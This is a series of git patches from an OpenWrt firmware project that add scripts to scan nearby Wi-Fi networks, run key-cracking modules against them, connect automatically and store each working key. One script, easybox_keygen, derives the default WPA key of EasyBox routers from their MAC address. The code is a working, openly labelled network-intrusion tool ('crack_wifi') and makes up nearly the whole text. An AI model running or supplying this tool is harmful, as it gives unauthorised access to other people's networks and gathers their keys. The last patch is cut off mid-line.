From bcbaa2b2855bc3c197b2e9d8d078e2ea880ff733 Mon Sep 17 00:00:00 2001 From: makefu Date: Tue, 12 Feb 2013 08:55:05 +0100 Subject: minikrebs now uses traits instead of profiles --- usr/bin/aap | 115 +++++++++++++++++++++++++++++++++++++++++++++++++ usr/bin/easybox_keygen | 40 +++++++++++++++++ 2 files changed, 155 insertions(+) create mode 100755 usr/bin/aap create mode 100755 usr/bin/easybox_keygen (limited to 'usr/bin') diff --git a/usr/bin/aap b/usr/bin/aap new file mode 100755 index 00000000..75e1cbfe --- /dev/null +++ b/usr/bin/aap @@ -0,0 +1,115 @@ +#!/usr/bin/awk -f + +BEGIN { + chan=0; + essid=""; + encr=0; + psk2=0; + psk=0; + i=0; + # find interface - start by finding if in sta mode + while( "uci show wireless" | getline) { + if(/mode=sta/) { + split($0,wl,"."); + iface=wl[2]; + } + } + close("uci show wireless") + "uci get wireless." iface ".device" | getline radio + close("uci get wireless." iface ".device") + system("ifconfig wlan0 up") + for(;;){ + while( "iwlist wlan0 scan" | getline ) { + scan[i++]=$0; + } + close("iwlist wlan0 scan") + for (j=0;j 0) { + "easybox_keygen " mac | getline rkey + close("easybox_keygen " mac) + } + else { + print essid " is encrypted and key not in whitelist"; + continue; + } + } + } + system("uci set wireless." radio ".channel=" channel); + system("uci set wireless." iface ".ssid=" essid); + if (crypt == "none") { + system("uci set wireless." iface ".encryption=none"); + system("uci -q delete wireless." iface ".key"); + } + else { + system("uci set wireless." iface ".key=" rkey); + system("uci set wireless." iface ".encryption=" crypt); + } + system("uci show wireless > /tmp/keepalive"); + system("wifi up"); + while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { + system("ledoff") + } + } + else { + # now test for the things we want + # channel + if (/Channel:[0-9]/) { + m=match($0,"Channel"); + if (RSTART > 0) { + s=substr($0,m); + n=match(s,/[0-9]+/); + chan=substr(s,n,RLENGTH) + } + continue; + } + # we don't need else as we break on successful find + if (/^ *ESSID/) { + m=match($0,"\".*\""); + if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); + continue; + } + if (/^ *Encryption key:on/) { + encr = 1; + continue; + } + if (/^ *IE: IEEE 802.11i\/WPA2/) { + psk2=1; + continue; + } + if (/^ *IE: WPA /) { + psk=1; + continue; + } + } + } + } + } diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen new file mode 100755 index 00000000..e9a9beca --- /dev/null +++ b/usr/bin/easybox_keygen @@ -0,0 +1,40 @@ +#!/bin/sh +# +# easybox_keygen.sh (c) 2012 GPLv3 +# +# www.wotan.cc +# + +MAC=$1 + +# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + +take5=${MAC:12} +last4=${take5/:/} + +# Fill up to 4 places with zeros, if necessary: +deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') +#echo M4: ${deci[@]} +# +# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: +hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') +#echo 'M4 (Hex): ' ${hexi[@]} +# K1 = last byte of (d0 + d1 + h2 + h3) +# K2 = last byte of (h0 + h1 + d2 + d3) +c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) +c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) +K1=$((($c1)%16)) +K2=$((($c2)%16)) +#printf "K1: %x\n" $K1 +#printf "K2: %x\n" $K2 +X1=$((K1^${deci:6:1})) +X2=$((K1^${deci:4:1})) +X3=$((K1^${deci:2:1})) +Y1=$((K2^0x${hexi:2:1})) +Y2=$((K2^0x${hexi:4:1})) +Y3=$((K2^0x${hexi:6:1})) +Z1=$((0x${hexi:4:1}^${deci:6:1})) +Z2=$((0x${hexi:6:1}^${deci:4:1})) +Z3=$((K1^K2)) +printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F + -- cgit v1.2.3 From 09e072c902886a7c961e7e88240921e78e735764 Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 17:52:05 +0200 Subject: add error handling for easybox_keygen --- usr/bin/easybox_keygen | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen index e9a9beca..daedb602 100755 --- a/usr/bin/easybox_keygen +++ b/usr/bin/easybox_keygen @@ -5,7 +5,7 @@ # www.wotan.cc # -MAC=$1 +MAC=${1?\$1 must be MAC} # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. -- cgit v1.2.3 From 123a9f36d68d140b95d6a504d928e9cb23df863d Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 18:03:58 +0200 Subject: use all_led instead of obsolete ledoff --- usr/bin/aap | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/aap b/usr/bin/aap index 75e1cbfe..e1070788 100755 --- a/usr/bin/aap +++ b/usr/bin/aap @@ -76,7 +76,7 @@ BEGIN { system("uci show wireless > /tmp/keepalive"); system("wifi up"); while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { - system("ledoff") + system("all_led none") } } else { -- cgit v1.2.3 From d0485a0f020d6a3bbe5ab4a0994d20d7bc74d382 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 18:15:47 +0200 Subject: moved autoconnect to autoconnect_old --- usr/bin/aap | 115 ------------------------------------------------- usr/bin/easybox_keygen | 40 ----------------- 2 files changed, 155 deletions(-) delete mode 100755 usr/bin/aap delete mode 100755 usr/bin/easybox_keygen (limited to 'usr/bin') diff --git a/usr/bin/aap b/usr/bin/aap deleted file mode 100755 index 75e1cbfe..00000000 --- a/usr/bin/aap +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/awk -f - -BEGIN { - chan=0; - essid=""; - encr=0; - psk2=0; - psk=0; - i=0; - # find interface - start by finding if in sta mode - while( "uci show wireless" | getline) { - if(/mode=sta/) { - split($0,wl,"."); - iface=wl[2]; - } - } - close("uci show wireless") - "uci get wireless." iface ".device" | getline radio - close("uci get wireless." iface ".device") - system("ifconfig wlan0 up") - for(;;){ - while( "iwlist wlan0 scan" | getline ) { - scan[i++]=$0; - } - close("iwlist wlan0 scan") - for (j=0;j 0) { - "easybox_keygen " mac | getline rkey - close("easybox_keygen " mac) - } - else { - print essid " is encrypted and key not in whitelist"; - continue; - } - } - } - system("uci set wireless." radio ".channel=" channel); - system("uci set wireless." iface ".ssid=" essid); - if (crypt == "none") { - system("uci set wireless." iface ".encryption=none"); - system("uci -q delete wireless." iface ".key"); - } - else { - system("uci set wireless." iface ".key=" rkey); - system("uci set wireless." iface ".encryption=" crypt); - } - system("uci show wireless > /tmp/keepalive"); - system("wifi up"); - while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { - system("ledoff") - } - } - else { - # now test for the things we want - # channel - if (/Channel:[0-9]/) { - m=match($0,"Channel"); - if (RSTART > 0) { - s=substr($0,m); - n=match(s,/[0-9]+/); - chan=substr(s,n,RLENGTH) - } - continue; - } - # we don't need else as we break on successful find - if (/^ *ESSID/) { - m=match($0,"\".*\""); - if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); - continue; - } - if (/^ *Encryption key:on/) { - encr = 1; - continue; - } - if (/^ *IE: IEEE 802.11i\/WPA2/) { - psk2=1; - continue; - } - if (/^ *IE: WPA /) { - psk=1; - continue; - } - } - } - } - } diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen deleted file mode 100755 index e9a9beca..00000000 --- a/usr/bin/easybox_keygen +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# -# easybox_keygen.sh (c) 2012 GPLv3 -# -# www.wotan.cc -# - -MAC=$1 - -# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. - -take5=${MAC:12} -last4=${take5/:/} - -# Fill up to 4 places with zeros, if necessary: -deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') -#echo M4: ${deci[@]} -# -# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: -hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') -#echo 'M4 (Hex): ' ${hexi[@]} -# K1 = last byte of (d0 + d1 + h2 + h3) -# K2 = last byte of (h0 + h1 + d2 + d3) -c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) -c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) -K1=$((($c1)%16)) -K2=$((($c2)%16)) -#printf "K1: %x\n" $K1 -#printf "K2: %x\n" $K2 -X1=$((K1^${deci:6:1})) -X2=$((K1^${deci:4:1})) -X3=$((K1^${deci:2:1})) -Y1=$((K2^0x${hexi:2:1})) -Y2=$((K2^0x${hexi:4:1})) -Y3=$((K2^0x${hexi:6:1})) -Z1=$((0x${hexi:4:1}^${deci:6:1})) -Z2=$((0x${hexi:6:1}^${deci:4:1})) -Z3=$((K1^K2)) -printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F - -- cgit v1.2.3 From 116467f9bb2d28666045fda00ef19dcef9558331 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 18:21:00 +0200 Subject: added autowifi --- usr/bin/autowifi | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 usr/bin/autowifi (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi new file mode 100644 index 00000000..9ccff4b7 --- /dev/null +++ b/usr/bin/autowifi @@ -0,0 +1,3 @@ +#!/usr/bin/sh +connect_wifi(){ +} -- cgit v1.2.3 From 33023fe6a009674830f21f575436115efbaaf22d Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 19:09:59 +0200 Subject: add iwlist_env --- usr/bin/iwlist_env | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100755 usr/bin/iwlist_env (limited to 'usr/bin') diff --git a/usr/bin/iwlist_env b/usr/bin/iwlist_env new file mode 100755 index 00000000..fcd9627d --- /dev/null +++ b/usr/bin/iwlist_env @@ -0,0 +1,33 @@ +#!/bin/sh + +count=0 + +iwlist scan ${interface:-} 2>/dev/null | while read line; +do + case "$line" in + *"Cell "*) + echo + : $((count+=1)) + echo MAC_${count}="${line#*Address: }" + ;; + *Channel:*) + echo CHANNEL_${count}="${line#*:}" + ;; + *Quality=*) + echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + echo ENCRYPTION_${count}="${line#*key:}" + ;; + *ESSID:*) + echo ESSID_${count}="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + echo WPA2_${count}=1 + ;; + *"IE: WPA Version 1"*) + echo WPA_${count}=1 + ;; + *);; + esac +done -- cgit v1.2.3 From a1a677d33e68c019d9fdecb29e57164d69e8aa03 Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 19:34:38 +0200 Subject: update iwlist_env --- usr/bin/iwlist_env | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/iwlist_env b/usr/bin/iwlist_env index fcd9627d..29112ff3 100755 --- a/usr/bin/iwlist_env +++ b/usr/bin/iwlist_env @@ -2,11 +2,11 @@ count=0 -iwlist scan ${interface:-} 2>/dev/null | while read line; +iwlist scan ${1:-} 2>/dev/null | ( while read line; do case "$line" in *"Cell "*) - echo + #echo : $((count+=1)) echo MAC_${count}="${line#*Address: }" ;; @@ -30,4 +30,4 @@ do ;; *);; esac -done +done; echo WIFI_COUNT=$count) -- cgit v1.2.3 From 640e5c566585c04bfa4cdfbf8d89c34d8626108f Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:01:40 +0200 Subject: autowifi with connect_function now --- usr/bin/autowifi | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) mode change 100644 => 100755 usr/bin/autowifi (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi old mode 100644 new mode 100755 index 9ccff4b7..876dbc15 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,3 +1,17 @@ -#!/usr/bin/sh +#!/bin/sh -x +iface=@wifi-iface[0] +radio=$(uci get wireless.${iface}.device) connect_wifi(){ + ifconfig wlan0 up + uci set wireless.${radio}.channel=$1 + uci set "wireless.${iface}.ssid=$2" + if [ $3 == "none" ] ; then + uci set wireless.${iface}.encryption=none + uci -q delete wireless.${iface}.key + else + uci set "wireless.${iface}.key=$4" + uci set wireless.${iface}.encryption=$3 + fi + wifi up } +connect_wifi "$@" -- cgit v1.2.3 From 10842825252fa99b84cb42ad5962713c5f3c7866 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:04:14 +0200 Subject: comments! --- usr/bin/autowifi | 1 + 1 file changed, 1 insertion(+) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 876dbc15..e1528478 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -2,6 +2,7 @@ iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) connect_wifi(){ + # channel ssid encryption key ifconfig wlan0 up uci set wireless.${radio}.channel=$1 uci set "wireless.${iface}.ssid=$2" -- cgit v1.2.3 From ef5a4dc7b3ca4bfae0f9b470458017a2087f5e90 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:12:56 +0200 Subject: wifi settings are now comitted --- usr/bin/autowifi | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index e1528478..8815fb75 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,9 +1,12 @@ #!/bin/sh -x +wifi=wlan0 iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) connect_wifi(){ # channel ssid encryption key - ifconfig wlan0 up + uci set wireless.${iface}.mode=sta + + ifconfig $wifi up uci set wireless.${radio}.channel=$1 uci set "wireless.${iface}.ssid=$2" if [ $3 == "none" ] ; then @@ -13,6 +16,8 @@ connect_wifi(){ uci set "wireless.${iface}.key=$4" uci set wireless.${iface}.encryption=$3 fi + uci commit wireless wifi up } + connect_wifi "$@" -- cgit v1.2.3 From 107991ba0d1a6710389902abbe41eb42c7af05bf Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:31:24 +0200 Subject: now with epic scanning --- usr/bin/autowifi | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 8815fb75..bbd6258f 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -20,4 +20,38 @@ connect_wifi(){ wifi up } +iwlist_scan(){ + count=0 + + iwlist scan ${1:-} 2>/dev/null | ( while read line; + do + case "$line" in + *"Cell "*) + #echo + : $((count+=1)) + echo MAC_${count}="${line#*Address: }" + ;; + *Channel:*) + echo CHANNEL_${count}="${line#*:}" + ;; + *Quality=*) + echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + echo ENCRYPTION_${count}="${line#*key:}" + ;; + *ESSID:*) + echo ESSID_${count}="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + echo WPA2_${count}=1 + ;; + *"IE: WPA Version 1"*) + echo WPA_${count}=1 + ;; + *);; + esac + done; echo WIFI_COUNT=$count) +} +iwlist_scan > /tmp/${wifi}.scan connect_wifi "$@" -- cgit v1.2.3 From 0ee9d729554c7ceb40a962a18eb6d64a1c962338 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 21:28:01 +0200 Subject: now with easybox module --- usr/bin/autowifi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bbd6258f..f6e26a1e 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -53,5 +53,6 @@ iwlist_scan(){ esac done; echo WIFI_COUNT=$count) } + iwlist_scan > /tmp/${wifi}.scan -connect_wifi "$@" + -- cgit v1.2.3 From 270c82cb22ea22e6049f544403ad459d9d6604e3 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 10:25:22 +0200 Subject: beta test of heckenkrebs --- usr/bin/autowifi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index f6e26a1e..10f4a9e2 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -53,6 +53,27 @@ iwlist_scan(){ esac done; echo WIFI_COUNT=$count) } +crack_wifi(){ + for hack in $(ls /usr/lib/autowifi/); do + key=$($hack $@); + if ! [ $key -eq 1 ];then + break + else + connect_wifi $3 $1 + fi + done +} +check_internet(){ + wget -O- --spider http://google.de/index.html +} +loop_over_networks(){ + . /tmp/${wifi}.scan + for i in `seq 1 $WIFI_COUNT`; do + crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + done + +} iwlist_scan > /tmp/${wifi}.scan +loop_over_networks -- cgit v1.2.3 From 5f7f912c13b1fc137b7a29a4083082d9efcc9b40 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 10:45:28 +0200 Subject: beta2 (still untested) --- usr/bin/autowifi | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 10f4a9e2..90a584de 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -54,12 +54,18 @@ iwlist_scan(){ done; echo WIFI_COUNT=$count) } crack_wifi(){ - for hack in $(ls /usr/lib/autowifi/); do + if $6;then + encr=psk2 + elif $5; then + encr=psk + elif [ $4 == on ]; then + encr=wep + fi + for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); if ! [ $key -eq 1 ];then + connect_wifi $3 $1 $encr $key break - else - connect_wifi $3 $1 fi done } -- cgit v1.2.3 From 631986deaf81a4641578d1d878f66d2e1a622396 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:24:52 +0200 Subject: new profiles & autowifi --- usr/bin/autowifi | 21 +++++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 90a584de..3c3444df 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -54,28 +54,37 @@ iwlist_scan(){ done; echo WIFI_COUNT=$count) } crack_wifi(){ - if $6;then + if [ -n "$6" ];then encr=psk2 - elif $5; then + elif [ -n "$5" ]; then encr=psk - elif [ $4 == on ]; then + elif [ "$4" == on ]; then encr=wep fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); - if ! [ $key -eq 1 ];then + ret=$? + if [ $ret -eq 0 ];then connect_wifi $3 $1 $encr $key - break + sleep 20 + if check_gateway; then + (cat /etc/autowifi/wifi_keys; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + echo "yay internet" + return 0 + fi fi done } +check_gateway(){ + ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') +} check_internet(){ wget -O- --spider http://google.de/index.html } loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do - crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done } -- cgit v1.2.3 From 6ede8f54181fa1adaf403f66f9779bce7b721af5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:38:51 +0200 Subject: now with old key deletion --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 3c3444df..a133b3c3 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -68,7 +68,7 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys echo "yay internet" return 0 fi -- cgit v1.2.3 From f7e3a735078dd0a758066c9398489ca747ab4834 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:42:39 +0200 Subject: now appending --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index a133b3c3..27782c3e 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -68,7 +68,7 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys echo "yay internet" return 0 fi -- cgit v1.2.3 From e28ab86654d9f70ea055929ae37d040783d4af9a Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 15:05:22 +0200 Subject: lots of stuff --- usr/bin/autowifi | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 27782c3e..3fe9229b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -21,6 +21,8 @@ connect_wifi(){ } iwlist_scan(){ + ifconfig $wifi up + count=0 iwlist scan ${1:-} 2>/dev/null | ( while read line; @@ -60,6 +62,8 @@ crack_wifi(){ encr=psk elif [ "$4" == on ]; then encr=wep + else + encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); @@ -68,9 +72,10 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys - echo "yay internet" - return 0 + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 + mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys + echo "yay gateway" + check_internet && return 0 fi fi done @@ -84,11 +89,17 @@ check_internet(){ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do + eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done - } iwlist_scan > /tmp/${wifi}.scan loop_over_networks +while sleep 60; do + if ! check_internet; then + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done -- cgit v1.2.3 From d1f669625da04a520133f3977124b5151ed30eaa Mon Sep 17 00:00:00 2001 From: makefu Date: Fri, 24 May 2013 17:01:34 +0200 Subject: now using print env instead of direct echoing --- usr/bin/autowifi | 52 +++++++++++++++++++++++++++++++++++----------------- 1 file changed, 35 insertions(+), 17 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 3fe9229b..bee49844 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -20,6 +20,21 @@ connect_wifi(){ wifi up } +print_iwlist_env(){ + # takes environment: + # count + # MAC + # CHANNEL + # QUALITY + # ENCRYPTION + # ESSID + # WPA + # WPA2 + for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do + eval echo ${i}_${count}=\$${i} + done +} + iwlist_scan(){ ifconfig $wifi up @@ -29,31 +44,33 @@ iwlist_scan(){ do case "$line" in *"Cell "*) - #echo + [ $count -eq 0 ] || print_iwlist_env + WPA=0 + WPA2=0 : $((count+=1)) - echo MAC_${count}="${line#*Address: }" + MAC="${line#*Address: }" ;; *Channel:*) - echo CHANNEL_${count}="${line#*:}" + CHANNEL="${line#*:}" ;; *Quality=*) - echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" ;; *"Encryption key:"*) - echo ENCRYPTION_${count}="${line#*key:}" + ENCRYPTION="${line#*key:}" ;; *ESSID:*) - echo ESSID_${count}="${line#*ESSID:}" + ESSID="${line#*ESSID:}" ;; *"IE: IEEE 802.11i/WPA2"*) - echo WPA2_${count}=1 + WPA2=1 ;; *"IE: WPA Version 1"*) - echo WPA_${count}=1 + WPA=1 ;; *);; esac - done; echo WIFI_COUNT=$count) + done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ if [ -n "$6" ];then @@ -94,12 +111,13 @@ loop_over_networks(){ done } -iwlist_scan > /tmp/${wifi}.scan -loop_over_networks +#iwlist_scan > /tmp/${wifi}.scan +#loop_over_networks -while sleep 60; do - if ! check_internet; then - iwlist_scan > /tmp/${wifi}.scan - loop_over_networks - fi -done +#while sleep 60; do +# if ! check_internet; then +# iwlist_scan > /tmp/${wifi}.scan +# loop_over_networks +# fi +#done +iwlist_scan -- cgit v1.2.3 From 82eca39bd5e84fd5df720546570e839e812383c5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:05:42 +0200 Subject: now working again :D --- usr/bin/autowifi | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bee49844..0eaf72c0 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,13 +73,13 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ - if [ -n "$6" ];then - encr=psk2 + if [ $4 == off ];then + encr=open elif [ -n "$5" ]; then encr=psk - elif [ "$4" == on ]; then + elif [ -n "$6" ]; then encr=wep - else + elif [ $4 == on ]; then encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do @@ -111,13 +111,12 @@ loop_over_networks(){ done } -#iwlist_scan > /tmp/${wifi}.scan -#loop_over_networks +iwlist_scan > /tmp/${wifi}.scan +loop_over_networks -#while sleep 60; do -# if ! check_internet; then -# iwlist_scan > /tmp/${wifi}.scan -# loop_over_networks -# fi -#done -iwlist_scan +while sleep 60; do + if ! check_internet; then + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done -- cgit v1.2.3 From 3f21974d495b81d16e49b0808a1a5b121ab0a66b Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:10:58 +0200 Subject: fixed bugs in encryption detection --- usr/bin/autowifi | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 0eaf72c0..1e5a5a6b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,14 +73,14 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ - if [ $4 == off ];then + if [ "$4" == off ];then encr=open - elif [ -n "$5" ]; then + elif [ "$5" -eq 1 ]; then encr=psk - elif [ -n "$6" ]; then + elif [ "$6" -eq 1 ]; then + encr=wep + elif [ "$4" == on ]; then encr=wep - elif [ $4 == on ]; then - encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); -- cgit v1.2.3 From 2f2311697d0c448717db34998ca497d245c28bca Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:18:11 +0200 Subject: now escaped fuu --- usr/bin/autowifi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 1e5a5a6b..73d5db18 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -83,10 +83,10 @@ crack_wifi(){ encr=wep fi for hack in $(find /usr/lib/autowifi/ -type f); do - key=$($hack $@); + key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then - connect_wifi $3 $1 $encr $key + connect_wifi "$3" "$1" $encr "$key" sleep 20 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 @@ -107,7 +107,7 @@ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} 